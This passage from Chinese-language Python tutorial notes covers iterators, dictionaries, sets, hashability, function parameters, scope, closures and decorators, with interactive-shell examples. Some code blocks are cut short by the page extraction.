上面代码我们传入的是字符串的 islower() 方法,作用就是判断传入的参数是否为小写字母,结合到 filter() 函数中使用,就是剔除大写字母,保留小写字母的作用。
如果提供的函数是 None,则会假设它是一个 “鉴真” 函数,即可迭代对象中所有值为假的元素会被移除:
1 | >>> list(filter(None, [True, False, 1, 0])) |
11.16 可迭代对象和迭代器
最大的区别是:可迭代对象咱们可以对其进行重复的操作,而迭代器则是一次性的!
将可迭代对象转换为迭代器:iter() 函数。
1 | >>> x = [1, 2, 3, 4, 5] |
通过 type() 函数,我们可以观察到这个区别:
1 | >>> type(x) |
最后,BIF 里面有一个 next() 函数,它是专门针对迭代器的。
它的作用就是逐个将迭代器中的元素提取出来:
1 | >>> next(y) |
现在如果不想它抛出异常,那么可以给它传入第二个参数:
1 | >>> z = iter(x) |
12 字典
12.1 字典的关键特征
字典是 Python 中唯一实现映射关系的内置类型。
字典的关键符号是大括号({})和冒号(:):1
2
3>>> d = {"吕布":"口口布", "关羽":"关习习"}
>>> type(d)
<class 'dict'>
这里就是两对映射关系,我们将冒号的左边称为字典的 “键”,右边称为字典的 “值”。
在字典中,只要我们提供键,就可以获取其对应的值。方法跟序列类似,只不过这次在方括号中,咱们使用的是键,而非索引值:1
2>>> d["吕布"]
'口口布'
12.2 创建字典
创建字典有很多种方法,这里我们把官方文档列举的6种方法介绍给大家!
OK,第一种就是刚刚给大家演示过的,直接使用大括号和冒号的组合,将映射关系给“套牢”:>>> a = {"吕布":"口口布", "关羽":"关习习", "刘备":"刘baby"}
第二种,使用dict()函数,跟list()、tuple()、str()类似,dict()函数用来生成字典,它的每个参数就是一个键值对,键与值直接使用等号>>> b = dict(吕布="口口布", 关羽="关习习", 刘备="刘baby")
注意:这种写法要求你不能往键上面加引号,尽管它是一个字符串,但是你加引号就会出错.
第三种,使用列表作为参数,列表中的每个元素是使用元组包裹起来的键值对>>> c = dict([("吕布","口口布"), ("关羽","关习习"), ("刘备","刘baby")])
第四种,属于“无病呻吟”版本,就是将第一种方法作为参数给到 dict() 函数:>>> d = dict({"刘备": "刘baby", "关羽": "关习习", "吕布": "口口布"})
第五种,混合拳法:>>> e = dict({"吕布":"口口布", "刘备":"刘baby"}, 关羽="关习习")
第六种,zip() 函数大家应该还有印象吧?它的作用是创建一个聚合多个可迭代对象的迭代器,对吧?那么,它也是可以作为参数传给 dict() 函数的:>>> f = dict(zip(["吕布","关羽","刘备"], ["口口布","关习习","刘baby"]))
12.3 增
首先是 fromkeys(iterable[, value]) 方法,这个可以算是字典中最特殊的方法,它可以使用 iterable 参数指定的可迭代对象来创建一个新字典,并将所有的值初始化为 value 参数指定的值:1
2
3>>> d = dict.fromkeys("Fish", 250)
>>> d
{'F': 250, 'i': 250, 's': 250, 'h': 250}
如果不指定 value 参数,则采用默认值 None:1
2
3>>> d = dict.fromkeys("Fish")
>>> d
{'F': None, 'i': None, 's': None, 'h': None}
这种方法适用于从无到有,创建一个所有键的值都相同的字典。
这招对于快速初始化一个字典非常有用,如果需要修改某个键的值,这么做:1
2
3>>> d['F'] = 70
>>> d
{'F': 70, 'i': None, 's': None, 'h': None}
如果在字典中找不到对应的键,那么同样的操作就会变成增加一个新的键值对:1
2
3>>> d['C'] = 67
>>> d
{'F': 70, 'i': None, 's': None, 'h': None, 'C': 67}
12.4 删
删除字典中的指定元素我们可以使用 pop() 方法:1
2
3>>> d.pop('s')
>>> d
{'F': None, 'i': None, 'h': None, 'C': 67}
那么你会发现,如果 pop() 一个不存在的键,那么会抛出异常:1
2
3
4
5>>> d.pop("狗")
Traceback (most recent call last):
File "<pyshell#7>", line 1, in <module>
d.pop("狗")
KeyError: '狗'
如果你想让 Python 别这么激动,可以指定一个 default 参数:1
2>>> d.pop("狗", "没有~")
'没有~'
跟 pop() 方法类似的还有一个 popitem(),在 Python3.7 之前,它是随机删除一个键值对,在 Python3.7 之后,它删除的是最后一个加入字典的键值对:1
2
3
4>>> d.popitem()
('C', 67)
>>> d
{'F': None, 'i': None, 'h': None}
然后 del 关键字也可以删除一个指定的字典元素:1
2
3>>> del d['i']
>>> d
{'F': None, 'h': None}
当然,如果 del 直接加上字典的变量名就是将整个字典给干掉:1
2
3
4
5
6>>> del d
>>> d
Traceback (most recent call last):
File "<pyshell#14>", line 1, in <module>
d
NameError: name 'd' is not defined
如果我们只希望清空字典中的内容,可以使用 clear() 方法:1
2
3
4
5
6>>> d = dict.fromkeys("FishC", 250)
>>> d
{'F': 250, 'i': 250, 's': 250, 'h': 250, 'C': 250}
>>> d.clear()
>>> d
{}
12.5 改
类似于序列的操作,只需要指定一个存在于字典中的键,就可以修改其对应的值:1
2
3
4
5
6>>> d = dict.fromkeys("FishC")
>>> d
{'F': None, 'i': None, 's': None, 'h': None, 'C': None}
>>> d['s'] = 115
>>> d
{'F': None, 'i': None, 's': 115, 'h': None, 'C': None}
如果我们想要同时修改多个键值对,那么说实话,逐个操作就有点太麻烦了。
这时候,我们可以使用字典的 update() 方法,可以同时给它传入多个键值对,也可以直接给它传入另外一个字典,或者一个包含键值对的可迭代对象:1
2
3
4
5
6>>> d.update({'i':105, 'h':104})
>>> d
{'F': None, 'i': 105, 's': 115, 'h': 104, 'C': None}
>>> d.update(F='70', C='67')
>>> d
{'F': '70', 'i': 105, 's': 115, 'h': 104, 'C': '67'}
12.6 查
最简单的查方法就是你给它一个键,它返回你对应的值:1
2>>> d['C']
67
如果指定的键不存在于字典中,那么会报错:1
2
3
4
5>>> d['c']
Traceback (most recent call last):
File "<pyshell#6>", line 1, in <module>
d['c']
KeyError: 'c'
这在有些时候会被认为是用户体验不佳的表现,所以更好的方法是使用 get() 方法,它可以传入一个 default 参数,指定找不到键时返回的值:1
2>>> d.get('c', "这里没有c")
'这里没有c'
还有一种情况是我们需要查找一个键是否存在于字典中,如果在,返回它对应的值;如果不在,给它指定一个新的值:1
2
3
4
5
6
7
8>>> d.setdefault('C', "code")
67
>>> d
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67}
>>> d.setdefault('c', "code")
'code'
>>> d
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67, 'c': 'code'}
对比前面直接复制的操作,这么做的一个显而易见的好处就是不会破坏到已经存在的键值对。
12.7 视图对象
items()、keys() 和 values() 三个方法分别用于获取字典的键值对、键和值三者的视图对象。
什么是视图对象呢?
这个名字听着挺新鲜,字面上的解释是:视图对象就是字典的一个动态视图,这意味着当字典内容改变时,视图对象的内容也会相应地跟着改变。
举个例子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19>>> d
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67, 'c': 'code'}
>>> items = d.items()
>>> keys = d.keys()
>>> values = d.values()
>>> items
dict_items([('F', 70), ('i', 105), ('s', 115), ('h', 104), ('C', 67), ('c', 'code')])
>>> keys
dict_keys(['F', 'i', 's', 'h', 'C', 'c'])
>>> values
dict_values([70, 105, 115, 104, 67, 'code'])
>>> d.pop('c')
'code'
>>> items
dict_items([('F', 70), ('i', 105), ('s', 115), ('h', 104), ('C', 67)])
>>> keys
dict_keys(['F', 'i', 's', 'h', 'C'])
>>> values
dict_values([70, 105, 115, 104, 67])
最后,为了方便地实现浅拷贝,字典也提供了一个 copy() 方法:1
2
3>>> e = d.copy()
>>> e
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67}
12.8 字典妙用
使用 len() 函数来获取字典的键值对数量:1
2>>> len(d)
5
使用 in 和 not in 来判断某个键是否存在于字典中:1
2
3
4>>> 'C' in d
True
>>> 'c' not in d
True
字典也可以转化为列表,使用 list() 函数就可以了:1
2>>> list(d)
['F', 'i', 's', 'h', 'C']
那么 iter() 函数也可以作用于字典,它会将字典的键构成一个迭代器:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16>>> e = iter(d)
>>> next(e)
'F'
>>> next(e)
'i'
>>> next(e)
's'
>>> next(e)
'h'
>>> next(e)
'C'
>>> next(e)
Traceback (most recent call last):
File "<pyshell#15>", line 1, in <module>
next(e)
StopIteration
在 Python3.8 之后的版本中,咱们可以使用 reversed() 函数对字典内部的键值对进行逆向操作:1
2>>> list(reversed(d))
['C', 'h', 's', 'i', 'F']
可以看出,reversed(d) 其实相当于 reversed(d.keys()) 的缩写,那么如果我们想要获得值的逆向序列,可以这么做:1
2>>> list(reversed(d.values()))
[67, 104, 115, 105, 70]
12.9 嵌套
字典也是可以嵌套的,某个键的值是另外一个字典,并不是什么稀奇的事儿,举个例子,假如三国也有语数英:>>> d = {"吕布": {"语文":60, "数学":70, "英语":80}, "关羽": {"语文":80, "数学":90, "英语":70}}
如果想要获取吕布的数学成绩,那么就需要进行两次索引:1
2>>> d["吕布"]["数学"]
70
那嵌套的也可以是一个列表:>>> d = {"吕布": [60, 70, 80], "关羽": [80, 90, 70]}
第二次索引,我们当然也得换成下标索引:1
2>>> d["吕布"][1]
70
12.10 字典推导式
最后高阶的 —— 字典推导式:1
2
3
4
5
6>>> d = {'F':70, 'i':105, 's':115, 'h':104, 'C':67}
>>> b = {v:k for k,v in d.items()}
>>> b
{70: 'F', 105: 'i', 115: 's', 104: 'h', 67: 'C'}
>>> d
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67}
看,这样我们轻而易举地将键和值给掉了个位置。
当然,我们也可以加上筛选的条件:1
2
3>>> c = {v:k for k,v in d.items() if v > 100}
>>> c
{105: 'i', 115: 's', 104: 'h'}
利用字典推导式,我们就可以轻易地让 Python 帮你求出字符串的编码值:1
2
3>>> d = {x:ord(x) for x in "FishC"}
>>> d
{'F': 70, 'i': 105, 's': 115, 'h': 104, 'C': 67}
13 集合
13.1 创建集合
创建一个集合通常有三种方法:
- 使用花括号,元素之间以逗号分隔:{“FishC”, “Python”}
- 使用集合推导式:{s for s in “FishC”}
- 使用类型构造器,也就是 set():set(“FishC”)
13.2 集合具有随机性
1 | >>> set("FishC") |
从这里我们不难发现,集合无序的特征,传进去的是 ‘F’、’i’、’s’、’h’、’C’,它这里显示的却是 ‘i’、’C’、’s’、’F’、’h’,在你们的电脑上结果还可能不一样,这就是随机性。
由于集合是无序的,所以我们不能使用下标索引的方式去访问它:1
2
3
4
5
6>>> s = set("FishC")
>>> s[0]
Traceback (most recent call last):
File "<pyshell#1>", line 1, in <module>
s[0]
TypeError: 'set' object is not subscriptable
不过我们可以使用 in 和 not in 来判断某个元素是否存在于集合中:1
2
3
4>>> 'C' in s
True
>>> 'c' not in s
True
13.3 访问集合
如果想要访问集合中的元素,可以使用迭代的方式:1
2
3
4
5
6
7
8>>> for each in s:
... print(each)
...
F
h
i
s
C
13.4 集合必杀技 —— 去重
集合另外一个特点就是唯一性,小甲鱼本鱼觉得,这也是集合最大的优势。比如利用集合,咱们就可以轻松地实现去重的操作:1
2>>> set([1, 1, 2, 3, 5])
{1, 2, 3, 5}
在实际开发中,我们经常需要去检测一个列表中是否存在相同的元素?
那么在没有学习过集合之前,我们很有可能需要通过迭代来统计每个元素出现的次数,从而判断是否唯一……
但是,现在,咱们只需要这么写:1
2
3
4
5
6>>> s = [1, 1, 2, 3, 5]
>>> len(s) == len(set(s))
False
>>> s = [1, 2, 3, 5]
>>> len(s) == len(set(s))
True
13.5 集合的方法
集合的各种方法大合集
列表、元组、字符串、字典它们都有一个 copy() 方法,那么集合也不例外:
1 | >>> t = s.copy() |
如果我们要检测两个集合之间是否毫不相干,可以使用 isdisjoint(other) 方法:
1 | >>> s.isdisjoint(set("Python")) |
那么这个参数它并不要求必须是集合类型,可以是任何一种可迭代对象:1
2
3
4>>> s.isdisjoint("Python")
False
>>> s.isdisjoint("JAVA")
True
下面也是一样的,传入的参数,都只要求是可迭代对象的类型即可。
如果我们要检测该集合是否为另一个集合的子集,可以使用 issubset(other) 方法:1
2>>> s.issubset("FishC.com.cn")
True
如果我们要检测该集合是否为另一个集合的超集,可以使用 issuperset(other) 方法(对于两个集合 A、B,如果集合 B 中任意一个元素都是集合 A 中的元素,我们就说这两个集合有包含关系,称集合 A 为集合 B 的超集):1
2>>> s.issuperset("Fish")
True
除了检测子集和超集,我们还可以计算当前集合和其它对象共同构造的并集、交集、差集以及对称差集。
并集,就是将集合与其它集合的元素合并在一起,组成一个新的集合:1
2>>> s.union({1, 2, 3})
{1, 2, 3, 'h', 's', 'i', 'F', 'C'}
交集,就是找到多个集合之间共同的那些元素1
2>>> s.intersection("Fish")
{'h', 's', 'i', 'F'}
差集,就是找出存在于该集合,但不存在于其它集合中的元素:1
2>>> s.difference("Fish")
{'C'}
同时,上面的这三个都是支持多个参数的:1
2
3
4
5
6>>> s.union({1, 2, 3}, "Python")
{1, 2, 3, 'y', 'h', 'n', 'i', 'P', 's', 'o', 't', 'C', 'F'}
>>> s.intersection("Php", "Python")
{'h'}
>>> s.difference("Php", "Python")
{'s', 'C', 'F', 'i'}
最后一个是求对称差集,就是排除掉 s 集合和 other 容器中共有的元素后,剩余的所有元素,这个只能支持一个参数:1
2>>> s.symmetric_difference("Python")
{'t', 'y', 'F', 's', 'P', 'C', 'n', 'o', 'i'}
好了,那么上面这 6 种常见的操作,Python 也提供了相应的运算符,可以直接进行运算。
检测子集可以使用小于等于号(<=):1
2>>> s <= set("FishC")
True
那么检测真子集我们可以使用小于号(<):1
2
3
4>>> s < set("FishC")
False
>>> s < set("FishC.com.cn")
True
那么反过来,使用大于号(>)和大于等于号(>=)就是检测真超集和超集:1
2
3
4>>> s > set("FishC")
False
>>> s >= set("FishC")
True
并集使用管道符(|):1
2>>> s | {1, 2, 3} | set("Python")
{1, 2, 3, 'y', 'h', 'n', 'i', 'P', 's', 'o', 't', 'C', 'F'}
交集使用 and 符号(&):1
2>>> s & set("Php") & set("Python")
{'h'}
差集使用减号(-):1
2>>> s - set("Php") - set("Python")
{'s', 'C', 'F', 'i'}
对称差集使用脱字符(^):1
2>>> s ^ set("Python")
{'t', 'y', 'F', 's', 'P', 'C', 'n', 'o', 'i'}
注意:使用运算符的话,符号两边都必须是集合类型的数据才可以,不然会报错。1
2
3
4
5
6
7
8
9
10>>> s <= "FishC"
Traceback (most recent call last):
File "<pyshell#46>", line 1, in <module>
s <= "FishC"
TypeError: '<=' not supported between instances of 'set' and 'str'
>>> s | [1, 2, 3]
Traceback (most recent call last):
File "<pyshell#15>", line 1, in <module>
s | [1, 2, 3]
TypeError: unsupported operand type(s) for |: 'set' and 'list'
13.6 冻结的集合
Python 将集合细分为可变和不可变两种对象,前者是 set(),后者是 frozenset():1
2
3>>> t = frozenset("FishC")
>>> t
frozenset({'s', 'C', 'i', 'F', 'h'})
被冻结的集合(frozenset())是不支持修改的。
如果我们尝试修改它,那么可怕的事情就会发生:1
2
3
4
5>>> t.update([1, 1], "23")
Traceback (most recent call last):
File "<pyshell#6>", line 1, in <module>
t.update([1, 1], "23")
AttributeError: 'frozenset' object has no attribute 'update'
13.7 仅适用于 set() 对象的方法
update(*others) 方法使用 others 容器中的元素来更新集合:1
2
3
4
5
6>>> s = set("FishC")
>>> s
{'s', 'C', 'i', 'F', 'h'}
>>> s.update([1, 1], "23")
>>> s
{'s', 1, 'C', 'i', 'F', 'h', '3', '2'}
intersection_update(others)、difference_update(others) 和 symmetric_difference_update(other) 分别是使用前面讲过的交集、差集和对称差集的方式来更新集合:1
2
3
4
5
6
7
8
9>>> s.intersection_update("FishC")
>>> s
{'s', 'C', 'i', 'F', 'h'}
>>> s.difference_update("Php", "Python")
>>> s
{'s', 'C', 'i', 'F'}
>>> s.symmetric_difference_update("Python")
>>> s
{'s', 't', 'C', 'o', 'h', 'i', 'y', 'F', 'n', 'P'}
如果希望要单纯地往集合里添加数据,可以使用 add(elem) 方法:1
2
3>>> s.add("45")
>>> s
{'s', 't', 'C', 'o', 'h', 'i', 'y', 'F', '45', 'n', 'P'}
在集合中删除某个元素,可以使用 remove(elem) 或者 discard(elem) 方法:1
2
3
4
5
6>>> s.remove("瓦迈")
Traceback (most recent call last):
File "<pyshell#15>", line 1, in <module>
s.remove("瓦迈")
KeyError: '瓦迈'
>>> s.discard("瓦迈")
删除还有一个 pop() 方法,用于随机从集合中弹出一个元素:1
2
3
4
5
6
7
8>>> s.pop()
's'
>>> s.pop()
't'
>>> s.pop()
'C'
>>> s
{'o', 'h', 'i', 'y', 'F', '45', 'n', 'P'}
最后,clear() 方法就是将集合清空:
1 | >>> s.clear() |
13.8 可哈希
想要正确地创建字典和集合,是有一个刚性需求的 —— 那就是字典的键,还有集合的元素,它们都必须是可哈希的。
如果一个对象是可哈希的,那么就要求它的哈希值必须在其整个程序的生命周期中都保持不变。
通过 hash() 函数,可以轻松获取一个对象的哈希值:1
2
3
4
5
6>>> hash(1)
1
>>> hash(1.0)
1
>>> hash(1.001)
2305843009213441
这个哈希值有什么用呢?
对于我们来说可能没啥用,但对于字典和集合来说,却是 “木之根,水之源”,这里我们就不再展开论述了,再深挖下去就有点越俎代庖的感觉了……
有兴趣的童鞋可以看看这一篇扩展阅读 -> Python字典的实现原理
Python 中大多数不可变对象是可哈希的,而那些可变的容器则不哈希1
2
3
4
5
6
7>>> hash("FishC")
2090433017907150752
>>> hash([1, 2, 3])
Traceback (most recent call last):
File "<pyshell#36>", line 1, in <module>
hash([1, 2, 3])
TypeError: unhashable type: 'list'
如果我们把列表换成元组,元组是不可变的对象,那就应该是可哈希的:1
2>>> hash((1, 2, 3))
529344067295497451
前面我们说了,只有可哈希的对象,才有资格作为字典的键,以及集合的元素:1
2
3
4>>> {"Python":520, "FishC":1314}
{'Python': 520, 'FishC': 1314}
>>> {"Python", "FishC", 520, 1314}
{520, 1314, 'Python', 'FishC'}
13.9 嵌套的集合
如果要实现一个嵌套的集合,可不可行?1
2
3
4
5
6>>> x = {1, 2, 3}
>>> y = {x, 4, 5}
Traceback (most recent call last):
File "<pyshell#39>", line 1, in <module>
y = {x, 4, 5}
TypeError: unhashable type: 'set'
这样写是不行的,因为集合它是一个可变的容器,而可变的容器则是不可哈希。
那我们非要将集合嵌套,还有没有办法?
有!
没错,使用 “冰山美人” frozenset() 对象1
2
3
4>>> x = frozenset(x)
>>> y = {x, 4, 5}
>>> y
{frozenset({1, 2, 3}), 4, 5}
14 函数
Python 函数的主要作用就是打包代码。
有两个显著的好处:
可以最大程度地实现代码重用,减少冗余的代码
可以将不同功能的代码段进行封装、分解,从而降低结构的复杂度,提高代码的可读性。
14.1 创建和调用函数
我们使用 def 语句来定义函数,紧跟着的是函数的名字,后面带一对小括号,冒号下面就是函数体,函数体是一个代码块,也就是每次调用函数时将被执行的内容:
1 | >>> def myfunc(): |
- 注:pass 是一个空语句,表示不做任何事情,经常是被用来做一个占位符使用的。调用这个函数,只需要在名字后面加上一对小括号:
1
2>>> myfunc()
>>>
14.3 函数的参数
从调用角度来看,参数可以细分为:形式参数(parameter)和实际参数(argument)。
其中,形式参数是函数定义的时候写的参数名字(比如下面例子中的 name 和 times);实际参数是在调用函数的时候传递进去的值(比如下面例子中的 “Python” 和 5)。
1 | >>> def myfunc(name, times): |
14.4 函数的返回值
有时候,我们可能需要函数干完活之后能给一个反馈,这在 BIF 函数中也很常见,比如 sum() 函数会返回求和后的结果,len() 函数会返回一个元素的长度,而 list() 函数则会将参数转换为列表后返回……
只需要使用 return 语句,就可以让咱们自己定制的函数实现返回:1
2
3
4
5
6>>> def div(x, y):
... z = x / y
... return z
...
>>> div(4, 2)
2.0
最后,如果一个函数没有通过 return 语句返回,它也会自己在执行完函数体中的语句之后,悄悄地返回一个 None 值:1
2
3
4
5>>> def myfunc():
... pass
...
>>> print(myfunc())
None
14.5 位置参数
在通常的情况下,实参是按照形参定义的顺序进行传递的:1
2
3
4
5
6
7>>> def myfunc(s, vt, o):
... return "".join((o, vt, s))
...
>>> myfunc("我", "打了", "小甲鱼")
'小甲鱼打了我'
>>> myfunc("小甲鱼", "打了", "我")
'我打了小甲鱼'
由于在定义函数的时候,就已经把参数的名字和位置确定了下来,我们将 Python 中这类位置固定的参数称之为位置参数。
14.6 关键字参数
使用关键字参数,我们只需要知道形参的名字就可以:
1 | >>> myfunc(o="我", vt="打了", s="小甲鱼") |
尽管使用关键字参数需要你多敲一些字符,但对于参数特别多的函数,这一招尤其管用。
如果同时使用位置参数和关键字参数,那么使用顺序是需要注意一下的:
1 | >>> myfunc(o="我", "清蒸", "小甲鱼") |
比如这样就不行了,因为位置参数必须是在关键字参数之前,之间也不行哈。
14.7 默认参数
Python 还允许函数的参数在定义的时候指定默认值,这样以来,在函数调用的时候,如果没有传入实参,那么将采用默认的参数值代替:1
2
3
4
5>>> def myfunc(s, vt, o="小甲鱼"):
... return "".join((o, vt, s))
...
>>> myfunc("香蕉", "吃")
'小甲鱼吃香蕉'
默认参数的意义就是当用户没有输入该参数的时候,有一个默认值可以使用,不至于造成错误。
如果用户指定了该参数值,那么默认的值就会被覆盖:1
2>>> myfunc("香蕉", "吃", "不二如是")
'不二如是吃香蕉'
这里也有一点是需要注意的,就是如果要使用默认参数,那么应该把它们摆在最后:1
2
3
4
5
6
7
8>>> def myfunc(s="苹果", vt, o="小甲鱼"):
SyntaxError: non-default argument follows default argument
>>> def myfunc(vt, s="苹果", o="小甲鱼"):
... return "".join((o, vt, s))
...
>>> myfunc("拱了")
'小甲鱼拱了苹果'
14.8 只能使用位置参数
咱们在使用 help() 函数查看函数文档的时候呢,经常会在函数原型的参数中发现一个斜杠(/),比如:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15>>> help(abs)
Help on built-in function abs in module builtins:
abs(x, /)
Return the absolute value of the argument.
>>> help(sum)
Help on built-in function sum in module builtins:
sum(iterable, /, start=0)
Return the sum of a 'start' value (default: 0) plus an iterable of numbers
When the iterable is empty, return the start value.
This function is intended specifically for use with numeric values and may
reject non-numeric types.
这表示斜杠左侧的参数必须传递位置参数,不能是关键字参数,举个例子:1
2
3
4
5
6
7>>> abs(-1.5)
1.5
>>> abs(x = -1.5)
Traceback (most recent call last):
File "<pyshell#67>", line 1, in <module>
abs(x = -1.5)
TypeError: abs() takes no keyword arguments
那斜杠右侧的话呢,就随你了:1
2
3
4>>> sum([1, 2, 3], start=6)
12
>>> sum([1, 2, 3], 6)
12
14.9 只能使用关键字参数
既然有限制 “只能使用位置参数”,那有没有那种限制 “只能使用关键字参数” 的语法呢?
那就是利用星号(*):1
2>>> def abc(a, *, b, c):
... print(a, b, c)
这样,参数 a 既可以是位置参数也可以是关键字参数,但参数 b 和参数 c 就必须是关键字参数,才不会报错:1
2
3
4
5
6
7
8
9>>> abc(1, 2, 3)
Traceback (most recent call last):
File "<pyshell#98>", line 1, in <module>
abc(1, 2, 3)
TypeError: abc() takes 1 positional argument but 3 were given
>>> abc(1, b=2, c=3)
1 2 3
>>> abc(a=3, b=2, c=1)
3 2 1
14.10 收集参数
当我们在定义一个函数的时候,假如需要传入的参数的个数是不确定的,按照一般的写法可能需要定义很多个相同的函数然后指定不同的参数个数,这显然是很麻烦的,不能根本解决问题。
为解决这个问题,Python 就推出了收集参数的概念。所谓的收集参数,就是说只指定一个参数,然后允许调用函数时传入任意数量的参数。
定义收集参数其实也很简单,即使在形参的前面加上星号(*)来表示:1
2
3
4
5
6
7
8
9
10>>> def myfunc(*args):
... print("有%d个参数。" % len(args))
... print("第2个参数是:%s" % args[1])
...
>>> myfunc("小甲鱼", "不二如是")
有2个参数。
第2个参数是:不二如是
>>> myfunc(1, 2, 3, 4, 5)
有5个参数。
第二个参数是:2
如果在收集参数后面还需要指定其它参数,那么在调用函数的时候就应该使用关键参数来指定后面的参数:
1 | >>> def myfunc(*args, a, b): |
对于这种情况,在传递参数的时候就必须要使用关键字参数了,因为字典的元素都是键值对嘛,所以等号(=)左侧是键,右侧是值:1
2>>> myfunc(a=1, b=2, c=3)
{'a': 1, 'b': 2, 'c': 3}
混合起来使用就更加灵活了:1
2
3
4
5>>> def myfunc(a, *b, **c):
... print(a, b, c)
...
>>> myfunc(1, 2, 3, 4, x=5, y=6)
1 (2, 3, 4) {'x': 5, 'y': 6}
14.11 解包参数
这一个星号()和两个星号(*)不仅可以用在函数定义的时候,在函数调用的时候也有特殊效果,在形参上使用称之为参数的打包,在实参上的使用,则起到了相反的效果,即解包参数:1
2
3
4
5
6>>> args = (1, 2, 3, 4)
>>> def myfunc(a, b, c, d):
... print(a, b, c, d)
...
>>> myfunc(*args)
1 2 3 4
那么两个星号()对应的是关键字参数:1
2
3>>> args = {'a':1, 'b':2, 'c':3, 'd':4}
>>> myfunc(**args)
1 2 3 4
14.12 局部作用域
如果一个变量定义的位置是在一个函数里面,那么它的作用域就仅限于函数中,我们将它称为局部变量。1
2
3
4
5
6>>> def myfunc():
... x = 520
... print(x)
...
>>> myfunc()
520
变量 x 是在函数 myfunc() 中定义的,所以它的作用域仅限于该函数,如果我们尝试在函数的外部访问这个变量,那么就会报错:1
2
3
4
5>>> print(x)
Traceback (most recent call last):
File "<pyshell#5>", line 1, in <module>
print(x)
NameError: name 'x' is not defined
14.13 全局作用域
如果是在任何函数的外部去定义一个变量,那么它的作用域就是全局的,我们也将其称为全局变量:1
2
3
4
5
6>>> x = 880
>>> def myfunc():
... print(x)
...
>>> myfunc()
880
如果在函数中存在一个跟全局变量同名的局部变量,会发生什么样的事情呢?
在函数中,局部变量就会覆盖同名的全局变量的值:1
2
3
4
5
6
7
8
9>>> x = 880
>>> def myfunc():
... x = 520
... print(x)
...
>>> myfunc()
520
>>> print(x)
880
注意:代码中两个 x 并非同一个变量,只是由于作用域不同,它们同名但并不同样。
14.14 global 语句
通常我们无法在函数内部修改全局变量的值,除非使用 global 语句破除限制:1
2
3
4
5
6
7
8
9
10>>> x = 880
>>> def myfunc():
... global x
... x = 520
... print(x)
...
>>> myfunc()
520
>>> print(x)
520
14.15 嵌套函数
函数也是可以嵌套的:1
2
3
4
5
6>>> def funA():
... x = 520
... def funB():
... x = 880
... print("In funB, x =", x)
... print("In funA, x =", x)
在外部函数 funA() 里面嵌套了一个内部函数 funB(),那么这个内部函数是无法被直接调用的:1
2
3
4
5>>> funB()
Traceback (most recent call last):
File "<pyshell#23>", line 1, in <module>
funB()
NameError: name 'funB' is not defined
想要调用 funB(),必须得通过 funA():1
2
3
4
5
6
7
8
9
10
11>>> def funA():
... x = 520
... def funB():
... x = 880
... print("In funB, x =", x)
... funB()
... print("In funA, x =", x)
...
>>> funA()
In funB, x = 880
In funA, x = 520
14.16 nonlocal 语句
通常我们无法在嵌套函数的内部修改外部函数变量的值,除非使用 nonlocal 语句破除限制:1
2
3
4
5
6
7
8
9
10
11
12>>> def funA():
... x = 520
... def funB():
... nonlocal x
... x = 880
... print("In funB, x =", x)
... funB()
... print("In funA, x =", x)
...
>>> funA()
In funB, x = 880
In funA, x = 880
14.17 LEGB 规则
只要记住 LEGB,那么就相当于掌握了 Python 变量的解析机制。
其中:
- L 是 Local,是局部作用域
- E 是 Enclosed,是嵌套函数的外层函数作用域
- G 是 Global,是全局作用域
- B 是 Build-In,也就是内置作用域
最后一个是 B,也就是 Build-In,最没地位的那一个。
比如说 Build-In Function —— BIF,你只要起一个变量名跟它一样,那么就足以把这个内置函数给 “毁了”:1
2
3
4
5
6>>> str = "小甲鱼把str给毁了"
>>> str(520)
Traceback (most recent call last):
File "<pyshell#1>", line 1, in <module>
str(520)
TypeError: 'str' object is not callable
是不是,它本来的功能是将参数转换成字符串类型,但由于我们将它作为变量名赋值了,那么 Python 就把它给覆盖了:1
2>>> str
'小甲鱼把str给毁了'
14.18 嵌套作用域的特性
对于嵌套函数来说,外层函数的作用域是会通过某种形式保存下来的,它并不会跟局部作用域那样,调用完就消失。
1 | >>> def funA(): |
14.19 闭包
所谓闭包(closure),也有人称之为工厂函数(factory function)。
for example:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17>>> def power(exp):
... def exp_of(base):
... return base ** exp
... return exp_of
...
>>> square = power(2)
>>> cube = power(3)
>>> square
<function power.<locals>.exp_of at 0x000001CF6A1FAF70>
>>> square(2)
4
>>> square(5)
25
>>> cube(2)
8
>>> cube(5)
125
这里 power() 函数就像是一个工厂,由于参数不同,得到了两个不同的 “生产线”,一个是 square(),一个是 cube(),前者是返回参数的平方,后者是返回参数的立方。
14.20 闭包应用举例
比如说在游戏开发中,我们需要将游戏中角色的移动位置保护起来,不希望被其他函数轻易就能够修改,所以我们就可以利用闭包:
1 | origin = (0, 0) # 这个是原点 |
程序实现如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14>>> move = create()
>>> print("向右移动20步后,位置是:", move([1, 0], 20))
向右移动20步后,位置是: (20, 0)
>>> print("向上移动120步后,位置是:", move([0, 1], 120))
向上移动120步后,位置是: (20, 80)
>>> print("向左移动66步后,位置是:", move([-1, 0], 66))
向左移动66步后,位置是: (-46, 80)
>>> print("向右下角移动88步后,位置是:", move([1, -1]), 88)
Traceback (most recent call last):
File "<pyshell#28>", line 1, in <module>
print("向右下角移动88步后,位置是:", move([1, -1]), 88)
TypeError: moving() missing 1 required positional argument: 'step'
>>> print("向右下角移动88步后,位置是:", move([1, -1], 88))
向右下角移动88步后,位置是: (42, -8)
14.21 装饰器
装饰器本质上也是一个函数,它可以让其他函数在不需要做任何代码变动的前提下增加额外的功能。
请看下面代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import time
def time_master(func):
def call_func():
print("开始运行程序...")
start = time.time()
func()
stop = time.time()
print("结束程序运行...")
print(f"一共耗费了 {(stop-start):.2f} 秒。")
return call_func
@time_master
def myfunc():
time.sleep(2)
print("I love FishC.")
myfunc()
程序实现如下:1
2
3
4开始运行程序...
I love FishC.
结束程序运行...
一共耗费了 2.01 秒
使用了装饰器,我们并不需要修改原来的代码,只需要在函数的上方加上一个 @time_master,然后函数就能够实现统计运行时间的功能了。
